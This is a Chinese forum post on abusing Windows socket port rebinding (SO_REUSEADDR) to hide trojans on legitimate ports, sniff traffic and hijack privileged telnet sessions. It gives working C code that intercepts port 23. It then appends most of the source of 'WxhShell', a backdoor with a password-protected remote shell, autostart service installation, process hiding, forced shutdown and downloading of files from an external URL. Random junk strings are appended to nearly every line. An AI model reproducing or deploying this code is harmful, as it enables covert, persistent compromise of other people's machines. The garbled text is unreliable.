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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f fBd  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5Z5x\CcC3  
<V Rb   
  saddr.sin_family = AF_INET; r\Kcg~D>  
QG2 Zh9R  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^NRf  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o0|Ex\  
pe\Nwq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V/kndV[j  
oD1k7Gq1  
  这意味着什么?意味着可以进行如下的攻击: Xc}XRKiy{  
1?1Bz?EKF*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8N?D1; F;  
o)^ Wz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jX(hBnGW  
T?1V%!a;f  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k+ w Ji  
~1[n@{*:(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w>=N~0@t  
c;fLM`{*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 't0M+_J  
fwV2b<[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 79exZ7|  
ahy6a,)K~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8T6NG!/  
hh&$xlO)(v  
  #include o ]z#~^w  
  #include }u=Oi@~  
  #include nPqpat`E  
  #include    .9PT)^2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ) ba~7A  
  int main() lv'WRS'}  
  { '?L^Fa_H  
  WORD wVersionRequested; Q{L:pce-  
  DWORD ret; l:uQ#Z)  
  WSADATA wsaData; V K 7  
  BOOL val; ,w H~.LHi  
  SOCKADDR_IN saddr; >X' -J{4R  
  SOCKADDR_IN scaddr; $D#h, `  
  int err; Ve&_NVPrd  
  SOCKET s;  k%i.B  
  SOCKET sc; a%`%("g!  
  int caddsize; FiUwy/,ZV  
  HANDLE mt; !*NDsC9  
  DWORD tid;   /UK]lP^w]!  
  wVersionRequested = MAKEWORD( 2, 2 ); C&MqH.K  
  err = WSAStartup( wVersionRequested, &wsaData ); dS4zOz"  
  if ( err != 0 ) { ipbhjK$  
  printf("error!WSAStartup failed!\n"); z[v4(pO 6  
  return -1; ^MF 2Q+  
  } L\:m)g,F.  
  saddr.sin_family = AF_INET; Ez5t)l-  
   >(S)aug$1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D5snaGss9a  
'5De1K.\`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q47R`"  
  saddr.sin_port = htons(23); J 3C^tV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RO,TNS~  
  { _lwKa, }  
  printf("error!socket failed!\n"); a*U[;(  
  return -1; jTIG#J)  
  } ~$5XiY8A  
  val = TRUE; *qy \%A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 i\ X3t5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +KIz#uqF8Z  
  { X~0 -WBz  
  printf("error!setsockopt failed!\n"); _#:7S sJ  
  return -1; OB$Jv<C@  
  } %\HPYnIe  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8Sj<,+XFq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wGKxT ap  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "T5oUy&i  
k1f<(@*`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cr{yy :D  
  { 4A6Y \ZXI  
  ret=GetLastError(); {L%JDJ  
  printf("error!bind failed!\n"); o&Xp%}TI  
  return -1; =-fM2oiI:  
  } w.(WG+  
  listen(s,2); aH'fAX0bF  
  while(1) 9]oT/ooM  
  { BoYY^ih  
  caddsize = sizeof(scaddr); v7wyQx+Q  
  //接受连接请求 vjx'yh|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); * $fM}6}  
  if(sc!=INVALID_SOCKET) [1 P_^.Htr  
  { 'WP~-}(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @tm2Y%Y!  
  if(mt==NULL) 7cGOJA5&  
  { Qr$ 7 U6p  
  printf("Thread Creat Failed!\n"); 1bCE~,tD  
  break;  &kmaKc  
  }  t8EI"|  
  } DX>LB$dy?  
  CloseHandle(mt); S W%>8  
  } -@"3`uv"  
  closesocket(s); [+dCA  
  WSACleanup(); =JzzrM|V*  
  return 0; E4892B:`  
  }   ?96r7C|  
  DWORD WINAPI ClientThread(LPVOID lpParam) xOj#%;  
  { `mz}D76~#  
  SOCKET ss = (SOCKET)lpParam; C?gqX0[ q  
  SOCKET sc; HJ 7A/XW  
  unsigned char buf[4096]; 8$ _{R!x  
  SOCKADDR_IN saddr; ]?@ [Ny=0  
  long num; DPxx9lN_rx  
  DWORD val; ;7:} iKU  
  DWORD ret; ~ O#\$u  
  //如果是隐藏端口应用的话,可以在此处加一些判断 KJec/qca  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   cLf90|YFp  
  saddr.sin_family = AF_INET; L{%L*z9J  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m 1; Htw  
  saddr.sin_port = htons(23); h@$SJe(hl  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +d\o|}c  
  { 6GunEYK!N8  
  printf("error!socket failed!\n"); -^m?%_<50l  
  return -1; 6)uBUM;i  
  } 5tbCx!tL  
  val = 100; 0q"4\#4l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `KA==;0  
  { =M;F&;\8  
  ret = GetLastError(); D r(0w{5  
  return -1; u'l4=e  
  } ojnO69v  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?g+3 URpK  
  { lOVcXAe}  
  ret = GetLastError();  YFm%W@  
  return -1; oqF?9<Vgc,  
  } %akW43cE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) GuR^L@+ -.  
  { U? Jk  
  printf("error!socket connect failed!\n"); Gkuqe3  
  closesocket(sc); e7;7TrB.  
  closesocket(ss); lu"0\}7X  
  return -1; I#(lxlp"Ho  
  } Hvk~BP' m  
  while(1) /ZV2f3;t  
  { yHw @Z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m)p|NdTZc8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (dSYb&]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )\u%XFPhS  
  num = recv(ss,buf,4096,0); G]rY1f0  
  if(num>0) t/Io.d   
  send(sc,buf,num,0); MygAmV&  
  else if(num==0) 9 fB|e|  
  break; D2&d",%&f  
  num = recv(sc,buf,4096,0); JyE-c}I  
  if(num>0) xcW\U^1d  
  send(ss,buf,num,0); 1}wDc$O  
  else if(num==0) 9lYfII}4(  
  break; BC.3U.  
  } d9S/_iCI  
  closesocket(ss); ny13+Q`^  
  closesocket(sc); .S 54:vs  
  return 0 ; ]?VVwft  
  } m* _X PY  
rah"\f2  
.?6p~  
========================================================== #b[bgxm  
,.9lz  
下边附上一个代码,,WXhSHELL VNWB$mM.2  
JGHj(0j  
========================================================== S3%2T  
SDC|>e9i  
#include "stdafx.h" t7-]OY7%w_  
jI\@<6O  
#include <stdio.h> _ZhQY,  
#include <string.h> J "I,]  
#include <windows.h> 8S8qj"s  
#include <winsock2.h> gvT}UNqL  
#include <winsvc.h> f9u=h}  
#include <urlmon.h> *zPqXtw!j  
$}W T"K  
#pragma comment (lib, "Ws2_32.lib") T)I)r239h  
#pragma comment (lib, "urlmon.lib") gf8o~vKX$G  
%evb.h)  
#define MAX_USER   100 // 最大客户端连接数 $XQgat@&]  
#define BUF_SOCK   200 // sock buffer \09A"fs{  
#define KEY_BUFF   255 // 输入 buffer fVn4=d6X  
06Wqfzceb  
#define REBOOT     0   // 重启 $4g {4-)  
#define SHUTDOWN   1   // 关机 0}<blU  
Yt#; +*d5  
#define DEF_PORT   5000 // 监听端口 F0_w9"3E~  
fU|v[  
#define REG_LEN     16   // 注册表键长度 .S|7$_9;b  
#define SVC_LEN     80   // NT服务名长度 sn:VMHrOT  
M99ku'  
// 从dll定义API 6m?<"y8]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XF(D%ygeC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  =Iop  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |-V:#1wR.]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b+qd' ,.Z  
}lp37,  
// wxhshell配置信息 Uwkxc  
struct WSCFG { l3Zi]`@r  
  int ws_port;         // 监听端口 C%Lr3M;S'  
  char ws_passstr[REG_LEN]; // 口令 [+D]!&P  
  int ws_autoins;       // 安装标记, 1=yes 0=no "YI,  
  char ws_regname[REG_LEN]; // 注册表键名 W_M#Gi/ AL  
  char ws_svcname[REG_LEN]; // 服务名 X\;:aRDS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Im~DK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .hx(9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E \/[hT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GV0@We~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w|&lRo@1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i+O7,"(@  
L-`V^{R]  
}; lW| =rq-|  
r&8aB85  
// default Wxhshell configuration nBk&+SN  
struct WSCFG wscfg={DEF_PORT, C1NU6iV^z  
    "xuhuanlingzhe", Xsa8YP9  
    1, PyfWIU7O  
    "Wxhshell", Qq:}Z7 H  
    "Wxhshell", Q$5 t~*$`  
            "WxhShell Service", 4\-11!'08  
    "Wrsky Windows CmdShell Service", =?C <@  
    "Please Input Your Password: ", k( 0;>)<i  
  1, nRBS&&V  
  "http://www.wrsky.com/wxhshell.exe", 6,YoP|@0  
  "Wxhshell.exe" 5 I_ :7$8  
    }; 7k*  
kZG=C6a  
// 消息定义模块 KE,.Evyu=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /o4e n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7~P2q/2E>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (NFrZ0  
char *msg_ws_ext="\n\rExit."; Chnt)N`/B4  
char *msg_ws_end="\n\rQuit."; @LOfqQ$FE  
char *msg_ws_boot="\n\rReboot..."; /lECgu*#69  
char *msg_ws_poff="\n\rShutdown..."; &fB=&jc*j  
char *msg_ws_down="\n\rSave to "; ]|!|3lQ  
} iKjef#J  
char *msg_ws_err="\n\rErr!"; mBwz.KEm<  
char *msg_ws_ok="\n\rOK!"; 8D)1ZUx7`  
%/I:r7UR{  
char ExeFile[MAX_PATH]; By@65KmR"  
int nUser = 0; Yd4X*Ua  
HANDLE handles[MAX_USER]; =7}1NeC`  
int OsIsNt; Ct-eD-X{  
\ Ki3ls  
SERVICE_STATUS       serviceStatus; (UkDww_!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hiVa\s  
({rcH.:  
// 函数声明 ]^"Lc~w8&  
int Install(void); *l`yxz@U  
int Uninstall(void); |*t2IVwX  
int DownloadFile(char *sURL, SOCKET wsh); !Np7mv\7  
int Boot(int flag); WS[Z[O  
void HideProc(void); 3r+c&^  
int GetOsVer(void); /b>xQ.G  
int Wxhshell(SOCKET wsl); z` 6$p1U  
void TalkWithClient(void *cs); PpFQoY7M  
int CmdShell(SOCKET sock); `0ym3}(O  
int StartFromService(void); !T<,fR+8X  
int StartWxhshell(LPSTR lpCmdLine); @@*x/"GJG  
E\D,=|Mul  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n`Z}tQ%)o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (!fx5&F  
>g !Z|ju  
// 数据结构和表定义 b/[X8w'VP  
SERVICE_TABLE_ENTRY DispatchTable[] = ?S& yF  
{ z&H.fsL  
{wscfg.ws_svcname, NTServiceMain}, % WDTnEm  
{NULL, NULL} .iR<5.  
}; Nsh/  
*e [*  
// 自我安装 Y$v d@Q  
int Install(void) XdA]);,  
{ @cIYS%iZ  
  char svExeFile[MAX_PATH]; NB<8M!X/  
  HKEY key; >8{w0hh;  
  strcpy(svExeFile,ExeFile); ~"%'(j_4  
;N.dzH2yA  
// 如果是win9x系统,修改注册表设为自启动 ggPGKY-b=  
if(!OsIsNt) { &*/= `=:C8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =b*GV6b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h'S0XU ;  
  RegCloseKey(key); &v0]{)PO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { < xeB9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "Q+wO+}6  
  RegCloseKey(key); ~/A2 :}Cp=  
  return 0; NpGi3>5  
    } >QYx9`x&  
  } Vfzy BjQ  
} ?<.a>"!  
else { KJJ:fG8'  
{wM<i  
// 如果是NT以上系统,安装为系统服务 E8av/O VUd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lfb+)s  
if (schSCManager!=0) #akJhy@m$  
{ B~}BDnu6  
  SC_HANDLE schService = CreateService e+!xy&u@u  
  ( `#iL'ND[  
  schSCManager, Vp; `!+z"  
  wscfg.ws_svcname, ">=Ep+ix  
  wscfg.ws_svcdisp, to).PI?  
  SERVICE_ALL_ACCESS, r&xIVFPI[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O1jiD_Y!9  
  SERVICE_AUTO_START, x7 e0&  
  SERVICE_ERROR_NORMAL, F^{31iU~CX  
  svExeFile, 'eBD/w5U  
  NULL, ~roNe|P  
  NULL, )0 E_Y@  
  NULL, 5D<Zbn.>q  
  NULL, -cUbIbW  
  NULL e%pohHI  
  ); HdlO Ga6C  
  if (schService!=0) G0h&0e{w  
  { hwUb(pZ  
  CloseServiceHandle(schService); ,k_ b-/  
  CloseServiceHandle(schSCManager); |in>`:qk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e}5x6t  
  strcat(svExeFile,wscfg.ws_svcname); wM[Z 0*K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7R[7M%H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z0H_l/g  
  RegCloseKey(key); = LIb0TZ2  
  return 0; IR3SP[K"  
    } v(Kj6'  
  } 0= bXL!]  
  CloseServiceHandle(schSCManager); Q'jGNWep  
} f9UDH8X  
} ~rI2 RJ  
6wpu[  
return 1; mEYfsO  
} P%&|?e~D^  
`0%;Gz%}  
// 自我卸载 7./WS,49  
int Uninstall(void) XBX`L"0  
{ ?99r>01>  
  HKEY key; Ie!">8."  
}BW&1*M{  
if(!OsIsNt) { .!^OmT,u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dY. X/f  
  RegDeleteValue(key,wscfg.ws_regname); eN5F@isy  
  RegCloseKey(key); ?A\+s,9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bbS,pid1  
  RegDeleteValue(key,wscfg.ws_regname); Ys_L GfK  
  RegCloseKey(key); o1\N)%  
  return 0; 19[oXyFI  
  } _l] 0V g`  
} D]fgBW-  
} a{e 2*V  
else { fz VN;h  
o3Yb2Nw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eu)""l  
if (schSCManager!=0) H(Wiy@cJn  
{ kLF3s#k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X! 6dg.n5  
  if (schService!=0) /m>SEo\{C  
  { 8 [,R4@  
  if(DeleteService(schService)!=0) { vv)O+xt  
  CloseServiceHandle(schService); P//nYPyzg  
  CloseServiceHandle(schSCManager); \2~\c#-k  
  return 0; I+W,%)vb  
  } yz,_\{}  
  CloseServiceHandle(schService); '`gnJX JO  
  } ^-Arfm%dn  
  CloseServiceHandle(schSCManager); #a@jt  
} W,,3@:  
} m4uh<;C~  
dm_Pz\ *  
return 1; qp*~  |  
} %L)QTv/  
BE&8E\w  
// 从指定url下载文件 *1-0s*T  
int DownloadFile(char *sURL, SOCKET wsh) JgHYuLB  
{ dg*xo9Xi`  
  HRESULT hr; EJz!#f~  
char seps[]= "/"; . WJ  
char *token; jR:\D_:  
char *file; R$IsP,Uw  
char myURL[MAX_PATH]; e\aW~zs 2  
char myFILE[MAX_PATH]; {=Ji2k0U'  
0H%zkJ>Q  
strcpy(myURL,sURL); ro?.w  
  token=strtok(myURL,seps); S{ F\_'%  
  while(token!=NULL) [V8^}s}tF  
  { ^; U}HAY  
    file=token; )#4(4 @R h  
  token=strtok(NULL,seps); v5 p`=Z@%  
  } (p' /a.bn  
z*b|N45O  
GetCurrentDirectory(MAX_PATH,myFILE); wZCboQ,  
strcat(myFILE, "\\"); Fsq)co  
strcat(myFILE, file); Jb9 @U /<\  
  send(wsh,myFILE,strlen(myFILE),0); ~ [/jk !G  
send(wsh,"...",3,0); h7.jWJTo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v`'Iew }  
  if(hr==S_OK) h(~of (  
return 0; bM_fuy55Op  
else @@R&OR  
return 1; l| \ -d  
ettBque  
} zA|lbJz=GY  
9' H\-  
// 系统电源模块 W:WRG8(F  
int Boot(int flag) 3 %r*~#nz  
{ A? jaS9 &)  
  HANDLE hToken; pcOKC0b.  
  TOKEN_PRIVILEGES tkp; pE+:tMH;  
H,EZ% Gl  
  if(OsIsNt) { d6m&nj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1W0[|Hf2v*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;*nzb!u\\  
    tkp.PrivilegeCount = 1; #@V<{/;49  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .2rpQa/h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;sUvY*Bcm  
if(flag==REBOOT) { yO\bVu5V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #jxPh!%9  
  return 0; J.g6<n  
} x6\VIP"9L  
else { i(e=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4 u0?[v[Hu  
  return 0; n^55G>"0|  
} {fEb>  
  } U"UsQYa_  
  else { @kT@IQkri  
if(flag==REBOOT) { }43qpJe8U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vz:VegS  
  return 0; MR@Qn[RdM  
} 0[uOKFgE  
else { G:|]w,^i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8W Qc8  
  return 0; 0&kmP '  
} /{[tU-}qJ  
} aAd1[?&  
m>w{vqPwJ  
return 1; I+^iOa  
} 3T 0'zJ2f  
/UR;,ts  
// win9x进程隐藏模块 - ?  i  
void HideProc(void) z~2;u 5S&  
{ PRyzvc~  
x=\W TC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hSps9*y  
  if ( hKernel != NULL ) 0;w 4WJJ  
  { Y)GU{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5YI6$ZdQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L"T :#>  
    FreeLibrary(hKernel); eAQ-r\h'2  
  } Z)3oiLmD  
<ZO+e*4  
return; FKf2Q&2I  
} :UKc:JVNM  
6RSit  
// 获取操作系统版本 )*.rl  
int GetOsVer(void) YoQQ ,  
{ z -]ND  
  OSVERSIONINFO winfo; hVZS6gU,x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I~ mu'T  
  GetVersionEx(&winfo); nI73E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) va#].4_  
  return 1; Nd;pkssd  
  else }KftV nD?  
  return 0; SFEDR?s   
} E3CwA8)k  
;kG"m7-/  
// 客户端句柄模块 < jX5}@`z  
int Wxhshell(SOCKET wsl) 9RK.+ 2  
{ I&&;a.  
  SOCKET wsh; iK5[P  
  struct sockaddr_in client; }-Nc}%5  
  DWORD myID; vMJ_n=Vf  
X VKRT7U  
  while(nUser<MAX_USER) X VH( zJ  
{ FId,/la  
  int nSize=sizeof(client); VYH $em6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :yw(Co]f  
  if(wsh==INVALID_SOCKET) return 1; 79jnYjk  
cp`ZeLz2^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BuitM|k'  
if(handles[nUser]==0) rNke&z:%X_  
  closesocket(wsh); @!!5el {  
else \m<$qp,n  
  nUser++; ?jbx7')  
  } t`eIkq|NxI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T$DFTr\\  
(2RuQgO  
  return 0; B\ZCJaMb  
} ^%U`|GBZp  
tC/+  
// 关闭 socket ) 2jH&}K  
void CloseIt(SOCKET wsh) wr>6Go%  
{ 'OU3-K  
closesocket(wsh); x.I?)x!C'  
nUser--; @RdNAP_6  
ExitThread(0); DoN]v  
} |*8X80<  
u&f|z9  
// 客户端请求句柄 S[l z>I  
void TalkWithClient(void *cs) 2c*}1 _  
{ -_Z  
$P #KL//  
  SOCKET wsh=(SOCKET)cs; :o:/RRp[  
  char pwd[SVC_LEN]; ]4FAbY2'h  
  char cmd[KEY_BUFF]; |uM=pm;H  
char chr[1]; #~r+Z[(,p  
int i,j; F}B2nL&  
@cG+ D  
  while (nUser < MAX_USER) { 0yb9R/3.  
YEB7X>p#  
if(wscfg.ws_passstr) { Pn ?gB}l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }JUc!cH8z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {s2eOL5I|%  
  //ZeroMemory(pwd,KEY_BUFF); I3ugBLxVC3  
      i=0; ki ?V eFp  
  while(i<SVC_LEN) { =,s5>2  
1l.HQ IS  
  // 设置超时 raMtTL+  
  fd_set FdRead; 4Le{|B  
  struct timeval TimeOut; t<^7s9r;I  
  FD_ZERO(&FdRead); 3)(uC+?[  
  FD_SET(wsh,&FdRead); vhU#<59a1  
  TimeOut.tv_sec=8; H.t fn>N|  
  TimeOut.tv_usec=0; /1+jQS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l5enlYH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k/Q8:qA  
sv!6z Js  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [|C  
  pwd=chr[0]; *M$$%G(4  
  if(chr[0]==0xd || chr[0]==0xa) { E7<l^/<2S+  
  pwd=0; J8&0l&~ 6  
  break; &~=d;llkT  
  } ~UwqQD1p  
  i++; }fhGofN$e  
    } h~=~csya:  
:p$Q3  
  // 如果是非法用户,关闭 socket {J;(K~>?m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8&7zV:=  
} AbX#wpp!  
@[TSJi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !]8QOn7=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P qa;fiJ)  
Rf{YASPIw&  
while(1) { 8;3I:z&muQ  
h,MaF<~  
  ZeroMemory(cmd,KEY_BUFF); R{9G$b1Due  
?:7$c  
      // 自动支持客户端 telnet标准   rFW,x_*_vP  
  j=0; kr44@!s+'  
  while(j<KEY_BUFF) { FJsM3|{2=d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QghL=  
  cmd[j]=chr[0]; H 9?txNea  
  if(chr[0]==0xa || chr[0]==0xd) { *M6j)jqV  
  cmd[j]=0; D@ BP<   
  break; )s ?Hkn  
  } ztC,[   
  j++; 8`|Z9umW*  
    } }~v0o# I  
NU 3s^ 8\(  
  // 下载文件 f!B\X*|  
  if(strstr(cmd,"http://")) { [QwqP=-6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V$ " ]f6  
  if(DownloadFile(cmd,wsh)) A aM~B`B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1f$1~5Z  
  else X9YbTN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;jmT5XzL  
  } bZgFea_>i  
  else { .ITTYQHv)  
O7f"8|=HX  
    switch(cmd[0]) { R]d934s  
  jZ,=tF  
  // 帮助 0)9n${P7d  
  case '?': { $$T a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y# IUDnRJ  
    break; e#ne5   
  } 1 @q"rPE^  
  // 安装 xv_Z$&9e>l  
  case 'i': { ]ia{N  
    if(Install()) 8@KGc )k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Bl`;uXb  
    else pH396GFIW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4B Jw+EV8  
    break; oK2jPP  
    } J+qcA}  
  // 卸载 9lqD~H.  
  case 'r': { ]q|U0(q9  
    if(Uninstall()) /)V8X#,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w(q\75  
    else 1HeE$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JiX-t\V~  
    break; zoau5t  
    } !Ic~_7"  
  // 显示 wxhshell 所在路径 p$$0**p!`  
  case 'p': { t'HrI-x  
    char svExeFile[MAX_PATH]; >oyZD^gj  
    strcpy(svExeFile,"\n\r"); PC& (1kJ  
      strcat(svExeFile,ExeFile); KWn.  
        send(wsh,svExeFile,strlen(svExeFile),0); :?\Je+iA  
    break; s<8|_Dt  
    } X7)B)r}AG  
  // 重启 VW**N}1#C  
  case 'b': { xsx0ZovhY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *,Sa*-7(  
    if(Boot(REBOOT)) 8q|T`ac+N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )fbYP@9>a  
    else { %}Z1KiRiX  
    closesocket(wsh); |N5|B Q(y$  
    ExitThread(0); 7"Q;Yi2(  
    } y+M9{[ i/O  
    break; @zig{b8  
    } 7Dz-xM_?  
  // 关机 E<tJ8&IGk  
  case 'd': { awOH50R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Mu$"fYKf"  
